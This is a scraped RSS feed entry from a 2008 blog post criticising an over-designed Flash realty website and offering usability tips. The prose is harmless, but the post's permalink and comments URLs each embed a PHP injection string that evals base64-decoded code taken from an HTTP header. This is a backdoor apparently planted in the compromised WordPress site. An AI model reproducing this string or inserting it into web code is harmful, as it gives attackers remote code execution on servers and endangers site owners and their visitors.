Goodtree & Company :: Blog » 2008 » February http://goodtreecompany.com/wordpress Adventures in New Media Mon, 09 Aug 2010 04:59:59 +0000 http://wordpress.org/?v=2.5 en Web 2 Much http://goodtreecompany.com/wordpress/2008/02/04/web-2-much/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/02/04/web-2-much/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 04 Feb 2008 09:20:11 +0000 Hal http://online-copywriter.com/wordpress/2008/02/04/web-2-much/ It’s beauty and the beast - web sites that are over designed and under conceptualized.

THE BEAUTY: GORGEOUS FLASH

Our neighborhood Eleanor pointed us to a realty website called LiveGoodBeHappy.

LGBH features gorgeous, innovative flash menus, pages and features. It’s all rolled together seamlessly.

THE BEAST: WHY AM I HERE?

Linda & Mimi (the realtors behind the site) seem like two very nice people. Major props for making an investment in something different.

But I want to buy a house. I don’t want to wait for graphics to load. I don’t want to be directed to pages that fail to satisfy.

Here’s the Listings page:

lgbh2.jpg

See any listings?

Here’s the home page:

lgbh1.jpg

What are all those initials in the left nav? WCR? CRS? GRI? Huh?

Remember this:

  • A web 2.0 audience wants to know instantly that they are in the right place
  • They want to discover quickly the information they have come to find
  • They want to get on with their lives

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BTW - ran LGBH through the SEO Analyzer:

lgbh3.jpg

This is not a good report.

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